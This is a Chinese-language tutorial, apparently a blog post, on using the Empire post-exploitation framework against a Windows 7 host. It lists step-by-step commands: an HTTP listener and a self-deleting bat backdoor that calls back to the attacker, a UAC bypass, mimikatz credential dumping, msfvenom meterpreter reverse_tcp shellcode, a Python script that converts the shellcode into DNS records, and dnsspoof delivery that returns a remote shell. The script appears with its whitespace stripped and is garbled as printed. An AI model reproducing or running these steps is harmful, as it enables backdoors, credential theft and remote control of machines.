前言:
Empire一款基于PowerShell的后滲透測試工具。感謝某葵和某Egg的推薦和指點。感謝某騙子給我解惑DNS的一些東西。
安裝:
- github項目地址:https://github.com/EmpireProject/Empire
- 下載:git clone https://github.com/EmpireProject/Empire.git

- Empiresetup目錄執(zhí)行install.sh文件./install.sh

開始下載安裝運行依賴文件
最后設置數(shù)據(jù)庫密碼那里可以默認回車,也可以自己設置
踩坑經(jīng)歷:
如果安裝途中,遇到網(wǎng)絡問題,多次執(zhí)行./install.sh文件安裝全部依賴,運行主目錄下empire啟動程序前,先執(zhí)行setup目錄下的reset.sh后再執(zhí)行主目錄empire文件。
- 使用(Empire)> listeners # 監(jiān)聽
- 監(jiān)聽

(Empire: listeners) > uselistener http #選擇監(jiān)聽方式

(Empire: listeners/http) > info #查看需要配置的選項

(Empire: listeners/http) > set Name backdoor #設置監(jiān)聽名字

養(yǎng)成良好的習慣設置自己容易理解的名字,方便管理shell
(Empire: listeners/http) > set Host http://192.168.80.131:4447 #設置木馬反彈回連地址
(Empire: listeners/http) > set Port 4447 #設置本地監(jiān)聽端口

(Empire: listeners/http) > execute #執(zhí)行監(jiān)聽

至此,監(jiān)聽工作完成。我們開始配置生成后門。
- 生成木馬(Empire: listeners/http) > back #返回上層模塊(Empire: listeners) > usestager windows/launcher_bat backdoor # 選擇木馬種類

這里我選擇的是bat類型的腳本,當然你們可以選擇其他的。后面的backdoor就是剛剛我們設置的監(jiān)聽,這個模塊就是依據(jù)監(jiān)聽的配置信息,生成相應的木馬,讓反彈馬找到連接主機。
(Empire: stager/windows/launcher_bat) > info #查看需要配置的

你可以set OutFile 到你指定的目錄(絕對路徑)
(Empire: stager/windows/launcher_bat) > execute #執(zhí)行生成木馬

我們把tmp目錄下的文件拷貝到我們的目標主機上運行

彈出一個黑框后,它自動消失了,是因為我們剛才生成backdoor的時候其中一個選項delete設置的True,運行結束后刪除自身。

點擊完我們的backdoor之后,我們回到我們的機器可以看到已經(jīng)獲取到了客戶端的一個會話。
(Empire: stager/windows/launcher_bat) > agents #查看獲取的代理會話

一個會話已經(jīng)建立完成。
(Empire: agents) > rename HZFT7AX1 win7pro #更改會話名字

養(yǎng)成一個良好的習慣。
(Empire: agents) > interact win7pro #和該會話交互

從session_key這里可以看出我們的會話是經(jīng)過加密的。
同時該框架還提供了bypassuac,mimikaz等模塊,為滲透提供高效,快速的提升權限,信息獲取。
正好結合這個說一個dns傳輸backdoor payload的方式
- NativePayload_DNS項目地址:https://github.com/DamonMohammadbagher/NativePayload_DNS.git首先編譯源碼生成可執(zhí)行文件使用visual studio 工具命令編譯!

生成NativePayload_DNS.exe 。
上傳到我們攻擊的機器上去,進入到交互界面。
首先我們先試試利用bypassuac這個功能,看看是否可以提升權限獲取該機器管理員的密碼,直接運行mimikatz是會報錯的。

運行后我們看到有第二個會話開始建立中,稍等片刻
(Empire: win7pro) > agents #列舉代理會話

細心的人可能發(fā)現(xiàn)多了一個*號那個usename那里
(Empire: agents) > rename 8TKB4G9S win7proprivilege #這里我說了三遍,很重要。
(Empire: agents) > interact win7proprivilege #和這個會話交互

(Empire: win7proprivilege) > mimikatz #使用mimikatz

(Empire: win7proprivilege) > upload /root/Desktop/NativePayload_DNS.exe #上傳
(Empire: win7proprivilege) > shell dir #查看是否上傳成功.

開始配置服務端
msfvenom--platformwindows--archx64-pwindows/x64/meterpreter/reverse_tcplhost=192.168.80.131lport=4444-fc>/root/Desktop/payload.txt
#生成shellcode

這里申明下,網(wǎng)上的命令可能因為文章格式問題,導致命令不對,這里我做了修正。寫了一個轉換腳本,代碼如下(一把梭,勿噴):
#!/usr/bin/Python2#!-*-coding:utf-8-*-a=''f=open("payload.txt","rb")line=f.readlines()[1:]f.close()forlinesinrange(len(line)):ipls='1.1.1.%s'%linesshellcode=line[lines].replace(";","").strip().rstrip(""")+".1.com"+"""text=ipls+""+"""+"0x"+shellcode.lstrip(""")a+=text.replace("","0")+"n"fn=open("dns.txt","wb")fn.write(a)fn.close()
這里網(wǎng)上給出的樣例也有問題,看了好久發(fā)現(xiàn)傳輸?shù)膒ayload缺少了一個"0x",于是在dns.txt做了修改。一直被老哥教育細心,耐心,這回總算用成了一回。
開啟msf監(jiān)聽,這里就不再贅述了。

開啟欺騙
root@localhost# dnsspoof -f dns.txt

服務端配置完成,現(xiàn)在回到我們的empire會話執(zhí)行命令,獲取meterpreter shell.
(Empire: win7proprivilege) > shell NativePayload_DNS.exe 1.1.1. 34 192.168.80.131 #執(zhí)行

這個比較慢,需要稍等會,等它傳輸完,就會返回shell。
一張圖證明empire繞過了UAC:
